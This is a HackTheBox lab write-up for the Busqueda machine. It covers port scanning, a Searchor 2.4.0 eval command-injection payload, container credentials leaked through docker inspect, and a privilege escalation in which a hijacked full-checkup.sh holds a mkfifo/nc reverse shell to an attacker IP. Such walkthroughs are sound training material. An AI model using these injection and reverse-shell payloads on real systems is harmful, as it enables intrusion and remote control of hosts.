← Back to Writeups
HTBEasyMachine

Busqueda

D3v0o0Nu119/2/20266 min read
#machine#htb#easy#ubuntu

Busqueda

Platform: HackTheBox | Difficulty: Easy | OS: Ubuntu Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved

Summary

Walkthrough of the HackTheBox machine Busqueda (Ubuntu, attack surface: Apache httpd 2.4.52 (80), OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) (22)). Foothold via command injection; privilege escalation via sudo. Both flags captured and redacted.

Recon

Port scan

bash
nmap -p- -sVC 10.10.11.208 --min-rate 1000
PortServiceVersionNotes
22sshOpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80httpApache httpd 2.4.52

Enumeration highlights

  • Detected OS: Ubuntu.
  • Open services: http (80), ssh (22).
  • Scan used: nmap -p- -sVC 10.10.11.208 --min-rate 1000.

Foothold

Vulnerability / Misconfiguration

┌──(D3v0o0Nu11㉿htb)-[~]
└─$ nmap -p- -sVC 10.10.11.208 --min-rate 1000 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-24 06:54 PDT
Nmap scan report for 10.10.11.208
Host is up (0.022s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.75 seconds
  1. Based from the result, we know the host is running a web application in Apache version 2.4.52.

  2. Looking at the footer, we know the webapp using Flask and searchor version 2.4.0 (which is outdated) and there are many documentation out there.

  3. Telling that this version is vulnerable to command injection.

Documenations

https://github.com/nexis-nexis/Searchor-2.4.0-POC-Exploit-
https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection
  1. Reading one of the github, it seems the vuln is at:

The blocked

  1. There's a eval usage, which allows us to inject bash command. But we can't just send --> __import__('os').system('id'), after tested the feature in normal way, seems we need to add ' and wrap the python code with str().

TESTING NORMAL WAY

OUR PAYLOAD

py
') + str(__import__('os').system('id')) #
  1. What it will look like:
py
url = eval(Engine.<some_engine>.search('') + str(__import__('os').system('id')) #', copy_url={copy}, open_web={open})")
  1. Long story short, I got the user.txt inside the /home/svc directory.
') + str(__import__('os').system('cd .. && cd .. && cd .. && cd home && cd svc && cat user.txt && ls -a')) #

Proof

User flag: REDACTED

Privilege Escalation

User -> Root/Admin

NOTES:

In short about Gitea:
-> Similar to GitHub or GitLab but more lightweight, easy to install, and consume fewer system resources.
  1. Nothing interesting here. Anyway i tried to run sudo -l to see the sudo permissions for user svc, but resulting to this:

  2. To solve this, we need to do login ssh using this cred --> svc:jh1usoih2bkjaspwe92.

  3. /usr/bin/python3 /opt/scripts/system-checkup.py can be our interest now.

User only has access to execute.

  1. Things getting more interesting here.

  2. When running "docker-inspect" it asks us to specify the format and the docker name.

bash
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq
json
{
  "Id": "960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb",
  "Created": "2023-01-06T17:26:54.457090149Z",
  "Path": "/usr/bin/entrypoint",
  "Args": [
    "/bin/s6-svscan",
    "/etc/s6"
  ],
  "State": {
    "Status": "running",
    "Running": true,
    "Paused": false,
    "Restarting": false,
    "OOMKilled": false,
    "Dead": false,
    "Pid": 1835,
    "ExitCode": 0,
    "Error": "",
    "StartedAt": "2023-08-24T13:54:14.842187822Z",
    "FinishedAt": "2023-04-04T17:03:01.71746837Z"
  },
  "Image": "sha256:6cd4959e1db11e85d89108b74db07e2a96bbb5c4eb3aa97580e65a8153ebcc78",
  "ResolvConfPath": "/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/resolv.conf",
  "HostnamePath": "/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/hostname",
  "HostsPath": "/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/hosts",
  "LogPath": "/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb-json.log",                                                                                                             
  "Name": "/gitea",
  "RestartCount": 0,
  "Driver": "overlay2",
  "Platform": "linux",
  "MountLabel": "",
  "ProcessLabel": "",
  "AppArmorProfile": "docker-default",
  "ExecIDs": null,
  "HostConfig": {
    "Binds": [
      "/etc/timezone:/etc/timezone:ro",
      "/etc/localtime:/etc/localtime:ro",
      "/root/scripts/docker/gitea:/data:rw"
    ],
    "ContainerIDFile": "",
    "LogConfig": {
      "Type": "json-file",
      "Config": {}
    },
    "NetworkMode": "docker_gitea",
    "PortBindings": {
      "22/tcp": [
        {
          "HostIp": "127.0.0.1",
          "HostPort": "222"
        }
      ],
      "3000/tcp": [
        {
          "HostIp": "127.0.0.1",
          "HostPort": "3000"
        }
      ]
    },
    "RestartPolicy": {
      "Name": "always",
      "MaximumRetryCount": 0
    },
    "AutoRemove": false,
    "VolumeDriver": "",
    "VolumesFrom": [],
    "CapAdd": null,
    "CapDrop": null,
    "CgroupnsMode": "private",
    "Dns": [],
    "DnsOptions": [],
    "DnsSearch": [],
    "ExtraHosts": null,
    "GroupAdd": null,
    "IpcMode": "private",
    "Cgroup": "",
    "Links": null,
    "OomScoreAdj": 0,
    "PidMode": "",
    "Privileged": false,
    "PublishAllPorts": false,
    "ReadonlyRootfs": false,
    "SecurityOpt": null,
    "UTSMode": "",
    "UsernsMode": "",
    "ShmSize": 67108864,
    "Runtime": "runc",
    "ConsoleSize": [
      0,
      0
    ],
    "Isolation": "",
    "CpuShares": 0,
    "Memory": 0,
    "NanoCpus": 0,
    "CgroupParent": "",
    "BlkioWeight": 0,
    "BlkioWeightDevice": null,
    "BlkioDeviceReadBps": null,
    "BlkioDeviceWriteBps": null,
    "BlkioDeviceReadIOps": null,
    "BlkioDeviceWriteIOps": null,
    "CpuPeriod": 0,
    "CpuQuota": 0,
    "CpuRealtimePeriod": 0,
    "CpuRealtimeRuntime": 0,
    "CpusetCpus": "",
    "CpusetMems": "",
    "Devices": null,
    "DeviceCgroupRules": null,
    "DeviceRequests": null,
    "KernelMemory": 0,
    "KernelMemoryTCP": 0,
    "MemoryReservation": 0,
    "MemorySwap": 0,
    "MemorySwappiness": null,
    "OomKillDisable": null,
    "PidsLimit": null,
    "Ulimits": null,
    "CpuCount": 0,
    "CpuPercent": 0,
    "IOMaximumIOps": 0,
    "IOMaximumBandwidth": 0,
    "MaskedPaths": [
      "/proc/asound",
      "/proc/acpi",
      "/proc/kcore",
      "/proc/keys",
      "/proc/latency_stats",
      "/proc/timer_list",
      "/proc/timer_stats",
      "/proc/sched_debug",
      "/proc/scsi",
      "/sys/firmware"
    ],
    "ReadonlyPaths": [
      "/proc/bus",
      "/proc/fs",
      "/proc/irq",
      "/proc/sys",
      "/proc/sysrq-trigger"
    ]
  },
  "GraphDriver": {
    "Data": {
      "LowerDir": "/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34-init/diff:/var/lib/docker/overlay2/bd9193f562680204dc7c46c300e3410c51a1617811a43c97dffc9c3ee6b6b1b8/diff:/var/lib/docker/overlay2/df299917c1b8b211d36ab079a37a210326c9118be26566b07944ceb4342d3716/diff:/var/lib/docker/overlay2/50fb3b75789bf3c16c94f888a75df2691166dd9f503abeadabbc3aa808b84371/diff:/var/lib/docker/overlay2/3668660dd8ccd90774d7f567d0b63cef20cccebe11aaa21253da056a944aab22/diff:/var/lib/docker/overlay2/a5ca101c0f3a1900d4978769b9d791980a73175498cbdd47417ac4305dabb974/diff:/var/lib/docker/overlay2/aac5470669f77f5af7ad93c63b098785f70628cf8b47ac74db039aa3900a1905/diff:/var/lib/docker/overlay2/ef2d799b8fba566ee84a45a0070a1cf197cd9b6be58f38ee2bd7394bb7ca6560/diff:/var/lib/docker/overlay2/d45da5f3ac6633ab90762d7eeac53b0b83debef94e467aebed6171acca3dbc39/diff",                                                                                                                                       
      "MergedDir": "/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/merged",
      "UpperDir": "/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/diff",
      "WorkDir": "/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/work"
    },
    "Name": "overlay2"
  },
  "Mounts": [
    {
      "Type": "bind",
      "Source": "/root/scripts/docker/gitea",
      "Destination": "/data",
      "Mode": "rw",
      "RW": true,
      "Propagation": "rprivate"
    },
    {
      "Type": "bind",
      "Source": "/etc/localtime",
      "Destination": "/etc/localtime",
      "Mode": "ro",
      "RW": false,
      "Propagation": "rprivate"
    },
    {
      "Type": "bind",
      "Source": "/etc/timezone",
      "Destination": "/etc/timezone",
      "Mode": "ro",
      "RW": false,
      "Propagation": "rprivate"
    }
  ],
  "Config": {
    "Hostname": "960873171e2e",
    "Domainname": "",
    "User": "",
    "AttachStdin": false,
    "AttachStdout": false,
    "AttachStderr": false,
    "ExposedPorts": {
      "22/tcp": {},
      "3000/tcp": {}
    },
    "Tty": false,
    "OpenStdin": false,
    "StdinOnce": false,
    "Env": [
      "USER_UID=115",
      "USER_GID=121",
      "GITEA__database__DB_TYPE=mysql",
      "GITEA__database__HOST=db:3306",
      "GITEA__database__NAME=gitea",
      "GITEA__database__USER=gitea",
      "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "USER=git",
      "GITEA_CUSTOM=/data/gitea"
    ],
    "Cmd": [
      "/bin/s6-svscan",
      "/etc/s6"
    ],
    "Image": "gitea/gitea:latest",
    "Volumes": {
      "/data": {},
      "/etc/localtime": {},
      "/etc/timezone": {}
    },
    "WorkingDir": "",
    "Entrypoint": [
      "/usr/bin/entrypoint"
    ],
    "OnBuild": null,
    "Labels": {
      "com.docker.compose.config-hash": "e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515",
      "com.docker.compose.container-number": "1",
      "com.docker.compose.oneoff": "False",
      "com.docker.compose.project": "docker",
      "com.docker.compose.project.config_files": "docker-compose.yml",
      "com.docker.compose.project.working_dir": "/root/scripts/docker",
      "com.docker.compose.service": "server",
      "com.docker.compose.version": "1.29.2",
      "maintainer": "maintainers@gitea.io",
      "org.opencontainers.image.created": "2022-11-24T13:22:00Z",
      "org.opencontainers.image.revision": "9bccc60cf51f3b4070f5506b042a3d9a1442c73d",
      "org.opencontainers.image.source": "https://github.com/go-gitea/gitea.git",
      "org.opencontainers.image.url": "https://github.com/go-gitea/gitea"
    }
  },
  "NetworkSettings": {
    "Bridge": "",
    "SandboxID": "2cd1018afea0707dd5eeddd6b871d15674dc889336ff257c4bba89a7f8accb18",
    "HairpinMode": false,
    "LinkLocalIPv6Address": "",
    "LinkLocalIPv6PrefixLen": 0,
    "Ports": {
      "22/tcp": [
        {
          "HostIp": "127.0.0.1",
          "HostPort": "222"
        }
      ],
      "3000/tcp": [
        {
          "HostIp": "127.0.0.1",
          "HostPort": "3000"
        }
      ]
    },
    "SandboxKey": "/var/run/docker/netns/2cd1018afea0",
    "SecondaryIPAddresses": null,
    "SecondaryIPv6Addresses": null,
    "EndpointID": "",
    "Gateway": "",
    "GlobalIPv6Address": "",
    "GlobalIPv6PrefixLen": 0,
    "IPAddress": "",
    "IPPrefixLen": 0,
    "IPv6Gateway": "",
    "MacAddress": "",
    "Networks": {
      "docker_gitea": {
        "IPAMConfig": null,
        "Links": null,
        "Aliases": [
          "server",
          "960873171e2e"
        ],
        "NetworkID": "cbf2c5ce8e95a3b760af27c64eb2b7cdaa71a45b2e35e6e03e2091fc14160227",
        "EndpointID": "2c29b6b5e18e7b7364e98148b7c15293730b486c9b2ad86b1c027a1a512e31ac",
        "Gateway": "172.19.0.1",
        "IPAddress": "172.19.0.3",
        "IPPrefixLen": 16,
        "IPv6Gateway": "",
        "GlobalIPv6Address": "",
        "GlobalIPv6PrefixLen": 0,
        "MacAddress": "02:42:ac:13:00:03",
        "DriverOpts": null
      }
    }
  }
}
  1. Got cred which allows us to login as admin at gitea --> administrator:yuiu1hoiu4i5ho1uh

  2. Finally we can analyze the system-checkup source code.

  3. Found the vuln here:

  4. Instead of using an absolute path for executing the full-checkup script, it using a relative path. Knowing this, means system-checkup shall executes full-checkup from the directory where system-checkup is executed.

  5. Hence let's traverse to /opt/scripts so we can execute it.

  6. Great! Now let's make a fake full-checkup script which has our payload for privesc.

PRIVESC TEMPLATE PAYLOAD

sh
echo -en "#! /bin/bash\nrm /tmp/privesc;mkfifo /tmp/privesc;cat /tmp/privesc|/bin/sh -i 2>&1|nc 10.10.14.25 1337 > /tmp/privesc" > /tmp/full-checkup.sh

Make it executeable

sh
chmod +x /tmp/full-checkup.sh
  1. Set listener on port 1337, then execute system-checkup.
svc@busqueda:/tmp$ ls
full-checkup.sh
snap-private-tmp
systemd-private-17829a12bc8b4ac8a1e618230932cccd-apache2.service-sW8QB7
systemd-private-17829a12bc8b4ac8a1e618230932cccd-ModemManager.service-KjfjOT
systemd-private-17829a12bc8b4ac8a1e618230932cccd-systemd-logind.service-TcOS07
systemd-private-17829a12bc8b4ac8a1e618230932cccd-systemd-resolved.service-GzJRLa
systemd-private-17829a12bc8b4ac8a1e618230932cccd-systemd-timesyncd.service-0iHEWc
vmware-root_713-4290166671
svc@busqueda:/tmp$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

Root flag: REDACTED

Flags

FlagValue
userREDACTED
rootREDACTED

Lessons Learned

  1. Enumerate everything; version strings map to CVEs.
  2. Confirm each hypothesis with a test before building the exploit.
  3. Chain foothold -> privilege escalation mechanically.